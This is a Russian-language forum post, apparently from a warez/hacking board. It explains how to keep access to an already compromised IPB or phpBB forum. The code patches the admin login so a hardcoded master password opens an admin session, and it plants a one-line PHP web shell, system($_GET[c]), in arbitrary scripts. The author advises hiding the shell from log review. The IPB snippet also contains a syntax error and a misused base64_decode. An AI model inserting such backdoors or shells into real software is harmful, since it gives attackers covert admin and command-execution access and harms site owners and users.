Дата публикации:
#1
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-




Итак, допустим ты сломал форум, но для дальнейшего захода в админ панель неплохо было-бы его забэкдорить smile.gif

IPB

Первое,что приходит на ум - открыть admin.code и найти кусок проверки кода введенного пароля.Находим строку


CODE
require_once( ROOT_PATH."sources/action_admin/login.code" );


Проверка корректности пароля происходит в файле login.code,находящемся в папке action_admin.Чтобы облегчить жизнь и не копать кучу кода в поисках нужного блока,пробуем зайти под аккаунтом администратора с заведомо ложным пассом.Получаем ошибку "The password you entered is not correct" и поиском находим место проверки пароля.

CODE
if ( $this->ipsclass->converge->converge_authenticate_member( $pass ) != TRUE )  
{
$this->login_form("The password you entered is not correct");
}


Ниже идет код,который в случае выполнения нужных условий,а именно - корректность пары логин\пароль и проверка прав у данного юзера.Если все отлично,выдается уникальная сессия и нас переадресовывают на главную страницу админ панели.Чуть выше блока проверки пароля я поместил данную конструкцию

CODE
if (( $this->ipsclass->input['password']) == base64_decode('SoftoRooM.NeT')))

{
$sess_id = md5( uniqid( microtime() ) );
$db_string = $this->ipsclass->DB->compile_db_insert_string( array (
                     'session_id'                => $sess_id,
                     'session_ip_address'        => $this->ipsclass->ip_address,
                     'session_member_name'       => $mem['name'],
                     'session_member_id'         => $mem['id'],
                     'session_member_login_key'  => $mem['member_login_key'],
                     'session_location'          => 'index',
                     'session_log_in_time'       => time(),
                     'session_running_time'      => time(),
                 )        );
             
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
$this->ipsclass->input['adsess'] = $sess_id;
$this->ipsclass->admin->redirect( $this->ipsclass->vars['board_url']."/admin.".$this->ipsclass->vars['code_ext']."?adsess=".$this->ipsclass->input['adsess']."&".$extra_query, 'Log In Successful' );
exit();
}



Пробуем ввести в связке логин существующего админа и пароль SoftoRooM.NeT - и мы попадаем в админ панель.

но мы не ограничимся одним лишь бекдором в админке.В любом скрипте можно вставить подобный код

CODE
system("$_GET[c];");


При обращению к скрипту в качестве параметра "c" можно передавать различные команды на выполнение.

phpbb

В форумах вида phpbb все гораздо проще - логин и пароль проверяется в одном скрипте.

В этом месте скрипт сравнивает правильность введенного пароля

CODE
if( md5($password) == $row['user_password'] && $row['user_active'] )


Меняем эту строчку на
CODE

if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="SoftoRooM.NeT"))


Вводим пароль SoftoRooM.NeT и успешно логинимся в админ панель.Как и в случае с IPB можно в любом скрипте оставить шелл вида

CODE
system("$_GET[c];");


Желательно это сделать в таком месте,где будет не очень заметно при анализе логов.
User is offline
Go topGo end

Topic Options
Сейчас: 29.04.2024 - 19:18
Мобильная версия | Lite версия